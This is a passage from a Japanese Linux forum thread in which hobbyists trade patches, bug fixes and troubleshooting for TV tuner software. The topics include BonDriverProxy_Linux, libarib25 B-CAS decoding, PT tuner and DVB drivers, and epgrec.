S側でチャンネル数が多くなるとカブッてくるとこもありそうですしね

Chinachuを使った事ないので実際に可能かどうか良く知らないのですが、ソースをちょっと眺めた感じでは、
config.jsonのchannelsのchannelをBonDriverとしてのチャンネル番号に編集すれば行けそうに思いました

616 :login:Penguin:2014/09/03(水) 21:01:00.41 ID:JJSBj14D.net
VLCってフランス製だっけ?
フランスはアフリカ方面の移民が多いからかもね

617 :login:Penguin:2014/09/03(水) 21:01:32.76 ID:JJSBj14D.net
>>613
VLCってフランス製だっけ?
フランスはアフリカ方面の移民が多いからかもね

618 :605:2014/09/03(水) 23:02:24.44 ID:ZgkNyMVF.net
>>608
アドバイスありがとうございます!

> 対応としては、チャンネル変更のタイミングでb25->reset()を呼べば良いと思います

実装してみたのですが、b25->put()でコケることがあります。
ioctl(fd, SET_CHANNEL)が反映されたストリームを保障できれば良さそうですがどうしたものか(;´∀`)
# b25->reset()のタイミングでPurgeTsStreamも試みたのですが、改善せず


BonDriver_LinuxPT.cppにもb25を組み中です
STOP_REC → 空read → SET_CHANNEL → b25->reset() → START_REC
とすることで上手く動いているようです。たまーにコケますが(;´∀`)

619 :login:Penguin:2014/09/03(水) 23:16:47.79 ID:ZgkNyMVF.net
現状のを晒しておきます。
>>606からのパッチです。http://pastebin.com/FnhrSiJW

620 :568:2014/09/04(木) 08:08:21.22 ID:pIWfyEJi.net
>>615
本来はそれがベストなんですが、
BonDriverProxy以外の混在利用を考慮してChinachu側の
channnels設定はそのままにしました

BonDriverProxy OnlyでしたらChinachu側弄ったほうが楽ですね

621 :login:Penguin:2014/09/04(木) 13:28:01.85 ID:/tUehKy7.net
>>612
たまにはmplayerのことも思い出してあげて下さい ( >> 39 )

622 :login:Penguin:2014/09/04(木) 17:15:39.11 ID:D15wE/JR.net
b25パッチ、安定してきました。

本家最新(16c770ecf355e0155f49eb5a52766d30e6afe7d1)からの差分です。
http://pastebin.com/bvz6A3By

環境変数 B25 を定義した状態でmakeするとデコーダあり版をビルドできます。
 $ B25=1 make


ドライバ(BonDriver_LinuxPT)でデコーダ有効にするには、confに
 #B25=1

を追記。(パッチ後のBonDriver_LinuxPT.confを参照)


BonDriverProxy, sampleは recpt1のb25関連オプションに準拠
 usage: ./sample [--b25 [--round N] [--strip] [--EMM]] 〜略
 usage: ./BonDriverProxy [--b25 [--round N] [--strip] [--EMM]] 〜略

623 :login:Penguin:2014/09/04(木) 19:02:48.45 ID:D15wE/JR.net
微修正
http://pastebin.com/7LG7jE5G

624 :login:Penguin:2014/09/04(木) 20:32:53.92 ID:vbqHHR+q.net
>>622-623
ttps://gist.github.com/
使ってくれないかな?
patch自体をgitで管理できるし
リビジョン間のdiffも見れるし。

625 :login:Penguin:2014/09/04(木) 21:10:43.19 ID:D15wE/JR.net
>>622-623をまとめたやつ
https://gist.github.com/anonymous/570aa60b21fc28295662

今後はここにpushすればいい?
垢作らないと更新できなさそうだけど(;´∀`)

626 :login:Penguin:2014/09/04(木) 21:27:21.46 ID:vbqHHR+q.net
>>625
垢作らないとダメなのか。
それじゃ使えないな・・・すまん。

627 :login:Penguin:2014/09/04(木) 22:32:47.53 ID:kpxJ/orl.net
>>626
Gmailかなんかで捨てアド取って、ダミー垢つくれば?

628 :login:Penguin:2014/09/04(木) 23:30:51.11 ID:FSjilAqd.net
epgrec_20111001.tar.gz をそのまま使ってると、
録画ファイルを削除してもサムネイルファイルが削除されずに残ってしまう件、

cancelReservation.php 下の方で、

@unlink($path);
@unlink($path.".jpg");

という箇所を、

@unlink($path);
@unlink(INSTALL_PATH."/".$settings->thumbs."/".basename($path).".jpg");

に書き換えたらサムネイルもきちんと削除されるようになったので、
とても今さら感がありますが、ここに記しておきます。

629 :625:2014/09/04(木) 23:48:06.17 ID:D15wE/JR.net
垢作ってforkしてみました。今後はこちらをフォローしていだければと。
https://gist.github.com/deadbeef2/055dcfb4164ad81811e2

>>607
>細かい事言えばpIBon->CloseTuner()後でも、pIBon->GetTsStream()でdwRemain(アプリによる読み出し待ちバッファ数)が
>1以下である保証は無いです
>#元のsample.cppがdwRemainが0になるまでループさせてるのはそれが理由です

↑を対策したものに更新しました。
#間違ってコード削っちゃってました

630 :login:Penguin:2014/09/05(金) 01:15:51.00 ID:xh94W/Rp.net
>>629
ありがとう!

631 :login:Penguin:2014/09/05(金) 06:38:37.05 ID:YWm7Cq3O.net
>>618
タイミングを逃した感がありますが、以前のバージョンに付いてです(;´Д`)
SET_CHANNELだけではデバドラ内のバッファがクリアされないみたいですね
こうなってくるとサーバモジュールだけで何とかするのは無理で、ドライバモジュール側で対策する必要がある感じですね
PT3のデバドラでは気持ち対応しようとしてるみたいですが…
STOP_REC -> START_RECはPT3のデバドラでは有効そうですが、PT1/2のデバドラでは効果無さそうな?(自信なし)

PT3で(ですよね?)STOP_REC -> b25->reset() -> START_RECで基本うまく行ってるのに、
> たまーにコケますが(;´∀`)
となってしまうのは、多分cBonDriverLinuxPT::TsReader()及びcBonDriverLinuxPT::TsSplitterのposをゼロに戻してないからかなと

しかし、ナナメ読みから流し読みくらいにレベルを上げてlibarib25読んでみたら、ストリーム変更への自動追従の仕組みも
ちゃんと入ってるみたいなんですが、どこでコケてるんでしょうね
調べてみるのも面白いかもしれません

632 :login:Penguin:2014/09/05(金) 06:47:41.88 ID:YWm7Cq3O.net
そんでもって、現状最新版での、面倒な事考えずにb25->put()し続けて急にb25->get()でバッファが
返って来なくなったらb25->reset()と言うのはシンプルで良いですねヽ(´ー`)ノ
真面目に完璧に対応しようとしたら、デバドラにパッチ当てるか、いったんデバイス閉じて開き直すとかの
微妙な形にするか、あるいはlibarib25のコケてる理由を特定して対応するか、みたいな感じになりそうなので、
この方法はかなりバランス良いナイスな実装だと思います

なお、>>629適用後のBonDriverProxy.cpp、448行辺りと498行辺りで、m_b25もコピーして下さいね
でないと、クライアント1接続 -> クライアント2が1とドライバ共有で接続 -> クライアント1切断 -> クライアント2切断
と言う流れでリークしちゃいます

気になったのはそれくらいでしょうか
confのパースも「=」が離れてても良くなってて素晴らしい…
#実は気になってたんですが、まあ良いかと放置してました(;´Д`)失礼しました

633 :login:Penguin:2014/09/05(金) 19:00:47.72 ID:AZWHso9+.net
>>632
> なお、>>629適用後のBonDriverProxy.cpp、448行辺りと498行辺りで、m_b25もコピーして下さいね
> でないと、クライアント1接続 -> クライアント2が1とドライバ共有で接続 -> クライアント1切断 -> クライアント2切断
> と言う流れでリークしちゃいます

対処しました。

本家様のレビューがあると安心ですね(*´∀`)

634 :login:Penguin:2014/09/06(土) 01:41:41.05 ID:FexPwWIJ.net
>>586を応用してsid指定で録画出来るようにしたいんだけど、sampleってチャンネルが3桁の数字には対応してないのかな?
例えばこういう感じにconfで設定して(USESERVICEID=1)

BS日テレ 141 6 0 141
BS日テレ 2 6 0 141

sample -b (BonDriver) -s 0 -c 141 でも sample -b (BonDriver) -s 0 -c 2 でも取得出来るようにしたい
現状は後者のみ動いて前者は0バイトのファイルが作成される

635 :login:Penguin:2014/09/06(土) 01:50:18.50 ID:FexPwWIJ.net
自己解決
BonDriver_LinuxPT.hのMAX_CHを適当に増やした所録画出来ました

636 :login:Penguin:2014/09/06(土) 17:22:09.15 ID:eO/pxnZ3.net
最新のパッチ当てた状態、オプション有効にして
sample実行するとPacket Queue OVERFLOW : size[0]
がでまくった上にプロセスが止まらないorz

637 :login:Penguin:2014/09/06(土) 18:45:30.88 ID:eO/pxnZ3.net
>>636
BonDriverProxy自体のソースが更新されててパッチ
あたってなかっただけでしたorz
申し訳ない

638 :login:Penguin:2014/09/06(土) 20:48:29.03 ID:zseocNOz.net
confパース部分のパッチです。 http://pastebin.com/ipjfjqw2
=は詰めて記述すれば済む話なので必要性は無いんですけど
本家でマージしていただければ幸いです。

639 :629:2014/09/07(日) 06:18:05.44 ID:ufRLo5FT.net
b25 patch for BonDriverProxy_Linux rev.4
B-CASカードが無い状態でストリームを流すとクラッシュするバグを修正しました。
デコード中のB-CASカード抜き差しに対応しました。

640 :login:Penguin:2014/09/07(日) 06:33:59.10 ID:9WNSn1qS.net
>>638
GitHubの方には反映してなかったんですが、ローカルでは>>632書いてから同じ事をやってしまっております…
#個人的な好みで若干型や関数/変数名を変更してますが
せっかくパッチ書いていただいたのにスミマセン(;´Д`)

641 :login:Penguin:2014/09/07(日) 06:36:21.79 ID:9WNSn1qS.net
それはともかく、libarib25の動き眺めてたら、チャンネル変更しなくても普通に番組の切り替えタイミング(PATの更新とか)に
get()結果のバッファサイズがゼロになる事もあるみたいですね
#厳密には、次のget()までにput()されたバッファの合計サイズに依存します
こう言う場合にreset()かけてしまうとドロップする事になるので、連続何回そうなったらreset()かける的な、
閾値みたいなのを設けた方が良いかなと思いました
上述の通り、put()するバッファサイズ依存なので、閾値はユーザが設定出来るようにしておくとかでしょうか…

642 :login:Penguin:2014/09/07(日) 06:43:45.54 ID:9WNSn1qS.net
あと、libarib25はPATの更新があった際に、当該PATをダブって出力しちゃうんですね
TVTest(と言うかBonTsEngine)では連続性指標のエラーになるので、1パケットドロップしてる様に表示されます
実際はデータが落ちてるわけではないので別に深刻な問題ではないのですが、個人的には気になるので対応してみました
当方と同じく気になる人は、
ttps://github.com/stz2012/libarib25/blob/master/src/arib_std_b25.c
で言うと、2054-2055行目のproc_pat()とgoto LASTの間に、
curr += unit;
を入れるとこの挙動はなくなります

ついでに言うと、2063行目も意味的にはsbuf.headじゃなくてsbuf.poolでしょうね
#こちらは最終的な出力結果に影響を与えるわけではなく、単にまるもさんの意図はこうだったんだろうな、と言う話です

643 :login:Penguin:2014/09/07(日) 13:16:41.37 ID:ufRLo5FT.net
>>640
いえいえwありがとうございます!

b25 patch for BonDriverProxy_Linux rev.5
>>641
resetするまでのしきい値を設けました。(現状は3回まで許容)
オプションで変更できたほうが良いかなとも思ったのですが取り急ぎ

644 :login:Penguin:2014/09/08(月) 07:30:13.76 ID:9KuKI2Lg.net
>>643
> オプションで変更できたほうが良いかなとも思ったのですが取り急ぎ

バッファサイズが小さな場合に大丈夫ならバッファサイズが大きな場合でも大丈夫なので、
小さめのバッファでビットレートの高いストリームやサービス数の多いストリームでも確実に大丈夫な回数を
指定しておけばそれで用は足りるかもしれませんね

回数を大きくしても、チャンネル変更時に>>605の問題↓
> 視聴中にチャンネル切換すると稀にストリームが滞る事があるようです。
> #b25->putがARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32Mを返してる。
が起こった場合にfail-safeが発動するまでの時間が延びる以外の問題は無いと思うので、多少大きめの値でも良いんじゃないかと

例えば、バッファのサイズをクライアントモジュールのデフォルト値である188*1024として、
問題が発生したストリームのビットレートを15Mbpsだとすると、仮に10回見送っても、
(188*1024*8*10)/(15*1024*1024)=約0.98で、オーバヘッドを考えても最長約1秒でreset()かかる計算です
#当然、ドライバモジュールの様にバッファの小さな(188*256)場合や、ストリームのビットレートが
#もっと高い場合にはもっと早めにreset()かかるでしょう
個人的にはこれくらいなら十分許容範囲かなと思います
#そもそも滅多に発生しない問題な気もしますし…

645 :login:Penguin:2014/09/08(月) 07:42:44.54 ID:9KuKI2Lg.net
それから、その問題の発生するそもそもの原因を考えてみたんですが、
以下の様なパターンで発生しそうな気がします
---
チャンネル変更

PAT更新検出

次回以降のput()ではfind_pmt()でPMT探しを始める

変更後のチャンネルで番組切り替わり、あるいは再度のチャンネル変更などでPAT再更新

find_pmt()ではそれを検出しないので、もう流れて来ない旧PATで示されたPMTを探し続ける

ARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32M
---
PAT/PMTの送出頻度は100msに1回以上と規定されているので、タイミングはシビアですが…
ただ、PMTが発見されても今度はfind_ecm()で同じ状態になるので、
こちらは結構有り得るんじゃないかなと思います

で、試しに上記の状況を再現するTSファイルを作成してb25に食わせたら、
やはりARIB_STD_B25_ERROR_NO_PMT_IN_HEAD_32Mで終了しました

対応としては、libarib25にパッチ当てる形になりますが、
ttp://pastebin.com/BpEyxAcF
な感じかなと思います
>>642の件も含んでます
上述のTSファイルをこのパッチ当てたlibarib25を使用するb25に食わせると、
意図通りの出力が行われるのを確認しています

646 :login:Penguin:2014/09/08(月) 21:13:39.99 ID:HcnwnBd6.net
閾値の件、了解しました。ありがとうございます。
ドライバのバッファサイズ(188*256)で現在観測中です。

>>645
ARIB_STD_B25_ERROR_NO_ECM_IN_HEAD_32MでコケてたTSも食わせてみましたが、
エラー無しです。ヽ(=´▽`=)ノ

647 :login:Penguin:2014/09/09(火) 03:12:06.64 ID:yZ6ry4LB.net
>>645
デコード出来ない

648 :login:Penguin:2014/09/09(火) 21:16:21.74 ID:mah88T5D.net
>>647
recpt1とB25からならデコードできてるけど、そっちでもダメ?
自分はlibarib25のパッチと関係なく、sampleからはデコードできないorz

あとWindows側のProxyの方で使用するBonDriverは何使えばいいんだろ
とりあえずBonDriver_pipe指定しているけど初期化に失敗するって出る

649 :login:Penguin:2014/09/10(水) 07:25:05.47 ID:dfnWCajE.net
もうちょっとだけ変えて、各種異常系に対応するパッチにしてみました
ttp://pastebin.com/xiZg4W9j
正常なデータに対する処理は、後述の箇所以外は前回のパッチと変わりません
#処理結果に影響しないビミョーな変更した部分はあります
##行末空白消したらdiffの出力がエラい事になってしまいました(;´Д`)

前回のパッチで、追加した部分でPAT更新を検知した場合、そのPAT自体は削除していたのですが、
よく考えたらこの場合は残した方が良いかと思ったので、残すようにしました
#削除しても、適切にTSを扱えるソフトならその次のPATを見つけるはずなので、
#どちらでも大して変わらないかもしれませんが…

>>647
どちらかと言うと、TSとしては一応正常だけど扱いがややこしいデータに対応する為のパッチで、
ごく普通の(変なタイミングでPATの更新が発生したりはしない)TSストリームの扱いに関しては
元のコードと(ほぼ)同じなので、このパッチでデコードできなくなるような理由は無いと思うんですが…

650 :login:Penguin:2014/09/10(水) 07:38:25.75 ID:dfnWCajE.net
>>648
基本的には、win環境で使えるチューナ使用の為のBonDriverを想定してます
当方ptTimerを使用しているので、BonDriver_ptmr.dllを使う事が多いです
他には、BonDriver_PT.dllやBonDriver_PT3.dllで動作確認とれてます

BonDriver_Pipeに関しては、ファイル読み込み担当のTvtPlayと名前付きパイプで通信しようとするので、
dllのみリモートで読み込む形になるBonDriverProxyでは機能しないでしょうね
基本的にTVTest+TvtPlayからの直接ロードのみを想定したBonDriverなのだと思います
リモートのファイルをTvtPlayで扱いたいなら普通にファイル共有で扱えますしね

651 :login:Penguin:2014/09/10(水) 12:16:01.87 ID:h/4bPT67.net
b25 patch for BonDriverProxy_Linux rev.6
* resetするまでのしきい値を8へ増やしました。
* BonDriver_LinuxPT デコード処理をfifo排他ロックの外に移動しました。

libarib25パッチのおかげで、当方の付け焼刃的対策は不要となりました。(感謝!)
一応まだ残してありますが、気になる方は、decode.cppの12行、30行をコメントアウトしてください。

652 :login:Penguin:2014/09/10(水) 12:25:53.26 ID:h/4bPT67.net
>>648
> 自分はlibarib25のパッチと関係なく、sampleからはデコードできないorz

ただ普通にmakeするとデコーダなし版となりますので、
$ make B25=1
としてみてください。

$ ldd sample
の結果に
 libarib25.so.0 => /usr/local/lib/libarib25.so.0
が有ればデコーダあり版です。

--b25オプションもお忘れなく。

653 :login:Penguin:2014/09/10(水) 22:01:53.65 ID:HBWVCRFn.net
>>652
ありがとうございます。
その辺は以下のとおり抜かりはないのですが、Makefileを変更しています。
具体的には-fPICオプションを追加いています。
理由はCentOS7でビルドすると-fPICオプションを要求されるためです。
これが原因でしょうかね・・・やっぱり。

$ ldd /usr/local/bin/bdpl/sample
linux-vdso.so.1 => (0x00007fffa39fe000)
libdl.so.2 => /lib64/libdl.so.2 (0x00007fd9183b5000)
libarib25.so.0 => /usr/local/lib/libarib25.so.0 (0x00007fd9181a9000)
libstdc++.so.6 => /lib64/libstdc++.so.6 (0x00007fd917ea1000)
libm.so.6 => /lib64/libm.so.6 (0x00007fd917b9f000)
libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007fd917989000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00007fd91776c000)
libc.so.6 => /lib64/libc.so.6 (0x00007fd9173ab000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd9185c2000)

654 :login:Penguin:2014/09/10(水) 23:44:33.56 ID:5qzvJwkG.net
pcscliteいるんじゃね?

655 :login:Penguin:2014/09/11(木) 00:07:37.65 ID:iOdF7k0i.net
そう言うことなら諦めるかな…

656 :login:Penguin:2014/09/11(木) 02:31:27.63 ID:NUNJGGEc.net
$ ./sample -b $PWD/BonDriver_LinuxPT.so -t10 -s0 -c0 -o /dev/null

CreateBonDriver error: pIBon[(nil)] pIBon2[(nil)]
でハマったことがあったんだけど、

BonDriver_LinuxPT.so.conf が無かっただけというオチでした。

657 :login:Penguin:2014/09/11(木) 14:56:21.94 ID:1PhEHEVX.net
>>653
straceの結果を晒してみるとか。

>>654
柔糟

658 :login:Penguin:2014/09/14(日) 02:59:48.87 ID:K0oELrZz.net
recpt1@linux についての質問です。

CentOS 6.5にてrecpt1を長年使っていますが、
最近、recpt1やその他のプロセスがsystimeを
100〜400%消費して、ほぼ固まってしまうようになりました。
1〜10時間に1回ほどおこります。
nfsやsambaでアクセスしたときによく起こる気がしますが、
必ず起きるわけではないので気のせいかもしれません。

pt1_drv・recpt1 は pt1-c8688d7d6382
ハードは、i7-3770KにPT2 を2枚使っています。
心当たりのある方、ご助言お願い致します。

659 :login:Penguin:2014/09/14(日) 16:00:55.00 ID:n4ioxrWT.net
recpt1の最新、c8688d7d6382で録画したTSでは
それまで出ていた字幕が出てこなくなった
かと言ってepgrec unaは最新を使いたいし
解決方法はないものか

660 :login:Penguin:2014/09/14(日) 16:04:48.84 ID:TMCcFLS7.net
やはり録画環境ではWindowsに一歩二歩劣るな…

661 :login:Penguin:2014/09/14(日) 17:15:09.94 ID:9Azm8z+x.net
>>659
>>438-439

662 :login:Penguin:2014/09/14(日) 19:37:17.32 ID:n4ioxrWT.net
>>661
ありがとう。ビンゴでした!

recpt1-http.diff のパッチを当てて
tssplitter-apnd.diff を当てなければ
問題なし。

663 :629:2014/09/15(月) 07:40:19.48 ID:fRq1FtDk.net
b25 patch for BonDriverProxy_Linux rev.8

b25->get()の空バッファ連続数を数えてb25->reset()する方法を廃止し、
チャンネル変更したら遅延リセットを仕掛ける方法に変更しました。
#閾値=8では足りないケースがありました。スミマセン…

664 :login:Penguin:2014/09/15(月) 19:31:03.59 ID:u6m1Lwho.net
BonDriverProxy_Linuxを使ってるんだけど、何か勝手にプロセスが終了する…。
ログはこんな感じ
Sep 15 05:03:21 (サーバ名) kernel: BonDriverProxy[7667]: segfault at ffffffff00000008 ip 00007f9b16ee1f82 sp 00007f9b16c65bf0 error 4 in libc-2.12.so[7f9b16e6c000+18a000]

環境はCentOS 6.5でPX-W3PEで運用

665 :login:Penguin:2014/09/15(月) 22:00:39.10 ID:MUwzt1RE.net
>>664
おおう、SIGSEGV(;´Д`)
-gオプション付けてコンパイルしなおしてからcore残すようにして動かしてみて、
また発生したらgdbでバックトレースしてみてもらえますでしょうか…

666 :login:Penguin:2014/09/15(月) 22:33:54.46 ID:s0wJO8Cm.net
ここにfoltia ALを一定の期間サスペンドさせる方法が載ってる
http://airwhite.net/?p=786

もう一歩進めて、予約状況に合わせた終了・復帰をできるようにしたいです。
エンコードスクリプトの最後で
SQLでポスグレにアクセスして、次回録画開始時間を拾い、
それで再開時間を算出すればいいかなぁ

667 :login:Penguin:2014/09/19(金) 20:42:59.53 ID:vOYD3QP1.net
>>664
もしかして、てのを修正しました
#でも、1サービス1チャンネルモードで使用している時にしか影響しない問題だったので、
>>664さんがそのモードで使用していなかった場合は関係ない事になりますが

668 :login:Penguin:2014/09/19(金) 20:46:54.21 ID:vOYD3QP1.net
あと、いつぞや言っていたBonDriver_DVBを今更ながらつくってみました
GitHubのdevelopブランチの方にあげてるので暇な人は試してみていただければ…
#ただし動作確認はpt3_dvbでしかやっていません

669 :login:Penguin:2014/09/20(土) 01:45:01.73 ID:ZxbdrSSi.net
コンパイル通らない…新し目のカーネルじゃないとダメかな

BonDriver_DVB.cpp:601:17: error: ‘DTV_STREAM_ID’ was not declared in this scope

cat /etc/debian_version && uname -r
7.6
3.2.0-4-686-pae

670 :login:Penguin:2014/09/20(土) 02:15:33.40 ID:ZxbdrSSi.net
b25 patch for BonDriverProxy_Linux rev.9
BonDriver_DVBへの追加
#まだ当方でコンパイル通らない為、動作テストしてません(;´∀`)

671 :login:Penguin:2014/09/20(土) 04:10:51.76 ID:ZxbdrSSi.net
コンパイル通りました。pt2で動作確認。b25デコードもおk

BonDriver共有ツール総合
http://peace.2ch.net/test/read.cgi/avi/1366339738/508

#ifndef DTV_STREAM_ID
# if defined(DTV_ISDBS_TS_ID)
# define DTV_STREAM_ID DTV_ISDBS_TS_ID
# elif defined(DTV_ISDBS_TS_ID_LEGACY)
# define DTV_STREAM_ID DTV_ISDBS_TS_ID_LEGACY
# else
# error
# endif
#endif

672 :login:Penguin:2014/09/20(土) 06:30:31.15 ID:ZxbdrSSi.net
重箱の隅ですが(;´∀`)
util/test.cpp
-#define FILE_OFFSET_BITS 64
+#define _FILE_OFFSET_BITS 64

673 :login:Penguin:2014/09/20(土) 11:14:07.15 ID:/wCqLEzE.net
testは名前変えてほしい。(´・ω・`)

674 :login:Penguin:2014/09/20(土) 15:50:47.55 ID:FTFEBESz.net
>>667
ありがとうございます。症状はあの後は出ていませんが、1サービス1チャンネルモードで運用していたので多分それだと思います。

675 :login:Penguin:2014/09/20(土) 19:24:43.81 ID:oCHzE0lG.net
>>671
おお、動作確認していただけましたか
ならその内にmasterの方にマージしますね

> 重箱の隅ですが(;´∀`)

失礼しました(;´Д`)sampleの時に気付いとけよって話ですね

676 :login:Penguin:2014/09/20(土) 19:27:43.18 ID:oCHzE0lG.net
>>673
所詮やっつけアプリで、殆どsample2みたいな物ですから(;´Д`)

>>674
おお、それなら原因を排除できた可能性はありそうですね
発生確率はデバドラのつくりによって変わると思われる問題だったのですが、
PX-W3PEで運用と言う事なので、確度もそこそこ高そうです

677 :login:Penguin:2014/09/20(土) 20:45:52.68 ID:ZxbdrSSi.net
BonDriver_DVB(earth_pt1)+TvTestですが、シグナルレベルが0dBのままですね。
視聴に問題がなかったのと、DVB初利用なのでそんなもんかと思ってたんですが
TsReader() ioctl(FE_READ_SIGNAL_STRENGTH) error: adapter0
でした。

678 :login:Penguin:2014/09/20(土) 21:06:20.22 ID:ZxbdrSSi.net
>DVB初利用なので
僕がDVBを使うのが初めてで、という意味です。#言葉足らずでスミマセン
DVBってシグナルレベル取得APIが無いのかな?とw

679 :login:Penguin:2014/09/20(土) 21:28:58.29 ID:qMZ361UH.net
>> 668

いいですね。とりあえずPT3以外で動かして見たので報告です。

Ubuntu 14.04.1 LTS
3.13.0-35-generic
BonDriverProxy
BonDriver_DVB.so
TvTest 0.7.23

・Friio白 (ISDB_T)
SetChannel() ioctl(FE_SET_PROPERTY) error: adapter4
とエラーが出力されて表示されません。

FriioはDTV_STREAM_IDに0を指定するとエラーになった記憶があるので
ISDB_T(地上波)に対してDTV_STREAM_IDを指定しない様にすれば良いかと
思います。PTXの場合もこっちでOKだったはずです。

prop[0].cmd = DTV_FREQUENCY;
prop[0].u.data = f;
prop[1].cmd = DTV_TUNE;

props.props = prop;
props.num = 2;

680 :login:Penguin:2014/09/20(土) 21:30:35.21 ID:qMZ361UH.net
>> 668,677

続きです。

・PT2 DVB
個人的には映るのならシグナルレベルはどうでもよいと思っていますが。

TsReader() ioctl(FE_READ_SIGNAL_STRENGTH) error: adapter0

シグナルレベルが取れていない様です。自分の調べた所では、シグナル
レベルを取得する方法がドライバによってまちまちでした。

FE_READ_SIGNAL_STRENGTH (Friio白)
FE_READ_SNR (PT1,2,3)
DTV_STAT_CNR (PT3 DVB V5 以上)

おまけにどういう単位で返すかがドライバ依存なので、まともなシグナル
レベルを取得するためにはドライバ側を修正しないといけないという印象
でした。例えば、FE_READ_SNRで取得した場合、PT3はハードウェアから
得られた生値だと思いますが、PT2ではCNRを計算して返している様です。
ただ実際に出力させると何かよくわからない値なのですが…。

681 :login:Penguin:2014/09/21(日) 02:02:07.75 ID:8glTzj28.net
>>679
> FriioはDTV_STREAM_IDに0を指定するとエラーになった記憶があるので
> ISDB_T(地上波)に対してDTV_STREAM_IDを指定しない様にすれば良いかと
> 思います。PTXの場合もこっちでOKだったはずです。

ありがとうございます
対応してみました

682 :login:Penguin:2014/09/21(日) 02:04:10.07 ID:8glTzj28.net
> シグナルレベルが取れていない様です。自分の調べた所では、シグナル
> レベルを取得する方法がドライバによってまちまちでした。
〜〜〜
> おまけにどういう単位で返すかがドライバ依存なので、まともなシグナル
> レベルを取得するためにはドライバ側を修正しないといけないという印象
> でした

そうなんですよねー
当方が調べた結果もそんな感じでした
とりあえずFE_READ_SIGNAL_STRENGTH使ったのは、テストしたpt3_dvb(fd90fa5a16d07981b19d5e868ad9f463cee77989)の
内部実装が単にchardev版のラッパになってたので、生の値である事と、表示値の互換性が期待できるなと思ったからです
#↓このcastはちょっと無いなと思いましたが(;´Д`)
---
static int pt3_fe_s_read_signal_strength(struct dvb_frontend *fe, u16 *cn)
{
struct pt3_fe_s_state *state = fe->demodulator_priv;
return pt3_tc_read_cn_s(state->adap, NULL, (u32 *)cn);
}
---

683 :login:Penguin:2014/09/21(日) 02:07:24.91 ID:8glTzj28.net
…が、その後もうちょっと調べてみたらその次のバージョンではFE_READ_SIGNAL_STRENGTHに対してCNRを計算して
返すようになり、今のバージョンではFE_READ_SIGNAL_STRENGTHは削除されて、その処理はそのままFE_READ_SNRで
使用されるようになってますね…

意味的な正しさで言えば、シグナルレベルとして取得した生の値がどのような意味を持つかはHWによって異なる可能性も
ありそうですから、共通インタフェースでの実装としてはドライバ内でCNRを計算して返すのはもっともな姿勢かなとは思います
#そう言う意味では、現状のBonDriver_DVBの実装では仮にFE_READ_SIGNAL_STRENGTHでシグナルレベルが取得できても、
#意味のある値になるのはPT1/PT2/PT3だけかもしれませんね

しかし、v4lのAPIマニュアルからして、FE_READ_SNRで得られるdBの精度は書かれていませんし、FE_GET/SET_PROPERTYの方に
書かれてると思ったら、1/1000なのか1/10000なのかハッキリしません(;´Д`)
#1/10000の場合、int16_tでは3.27dB位までしか測れなくなるので、1/1000が正しいんじゃないかとは思いますが…

とりあえず1/1000が正しいと仮定して、FE_READ_SNRを使うモードを付けてみました
PT1/PT2を使ってる方や、pt3_dvbでも最近のを使ってる方は、BonDriver_DVB.cppのアタマの方の、
//#define USE_READ_SNR
のコメントを外してみると、何らかの値が得られるようになるかもしれません

684 :login:Penguin:2014/09/21(日) 02:25:47.40 ID:zlop0RNo.net
confで指定できれば良いですね

685 :login:Penguin:2014/09/21(日) 08:15:08.73 ID:gZdOl1Ws.net
>>668

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L395
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L755

自分がなぜそうしたのか記憶が曖昧なのですが…。
dvr0デバイスをオープンする際にはO_NONBLOCK をくっつけてたと思います。

dvr0 からデータが来なかった場合、readがブロックするからだったような
記憶があるのですが、今見ると正常ならlen=0とかなさそうなので意味不明な
ことを言ってるのかもしれません。

手元にPX-S1UD、Friio黒、MonsterTV HD もあるので動作確認できたら良いな
と思ってるのですが、カーネルモジュールのビルドが難儀ですね。Friio黒、
MonsterTV HDは2senのソースが古いので自分には無理だとしか思えないです。
PX-S1UDはカーネル3.15からデフォルトで有効の様ですが、ubuntu14.01の
3.13では再ビルドが必要ですね。考え方が安易過ぎますが、以前、IDだけの
変更なんだしバイナリ直接いじって既存の使わないデバイスID置き換えたら
良いよねとか思ってやってみたらどダメだったのですよね。

http://cgi20.plala.or.jp/~sat/?x=entry:entry131128-172807
http://lxr.free-electrons.com/source/drivers/media/usb/siano/smsusb.c?v=3.15#L656

Ubuntu14.01でPX-S1UD使えてる人っています?

686 :login:Penguin:2014/09/21(日) 09:45:10.55 ID:8glTzj28.net
>>684
たしかに使う立場を考えるとそっちの方が便利ですね
confの#USEREADSNRで変更できるようにしました

>>685
O_NONBLOCKを付けてないのは、つくり的にブロックされても構わないようにしているので意図してそうしています
標準でサポートされてない場合は、モノを持っててもそれを試す環境づくりが結構面倒ですよね…

687 :684:2014/09/21(日) 10:52:10.93 ID:hbHUwz2C.net
>>686
ありがとう

688 :login:Penguin:2014/09/21(日) 11:32:44.72 ID:gZdOl1Ws.net
>>681,683,686

Friio白で表示されました。
シグナルレベルも以下からダウンロードしたWindowsのBonDriver3.1と
ほぼ同じ値です。

http://www.friio.com/download/


作業しながら思ったことをだらだらと書いておきます。

Friio白の場合、DVBのシグナルレベルはFE_READ_SIGNAL_STRENGTHでのみ
取得可能ですので#USEREADSNR=0でOKです。FriioDVBドライバのソース眺
めましたがFE_READ_SIGNAL_STRENGTHで返しているのはハードウェアの生値
の様ですしチップも東芝でPTXと同じなのでCNRの計算式も共通なのかなという
印象です。

後、Linuxは関係ありませんが、#USESERVICEID=0の場合、#ISDB_TのVHF帯等の
チャンネル1-C63を削除して13-62を0からリナンバリングしないとTVTestで
チャンネルスキャンに失敗するのですが自分の環境特有の話でしょうか?
待ち時間を最大の10秒とかにしてもです。

チャンネル1-C63を削除したくなければ、TVTestのチャンネルファイルの方を
手動で作成すれば良いので特に困ってはいないのですが。

689 :login:Penguin:2014/09/21(日) 12:58:05.39 ID:bwPJwNB2.net
DVBの開発者の間でも以前RSSIやCNRの値の報告の仕方がバラバラであることが問題になって、
DVB API v5では DVT_STAT_SIGNAL_STRENGTH DTV_STAT_CNRなどの測定値には
単位をつけるようになってる。 一般的なのは0.001dB(m) (FE_SCALE_DECIBEL)
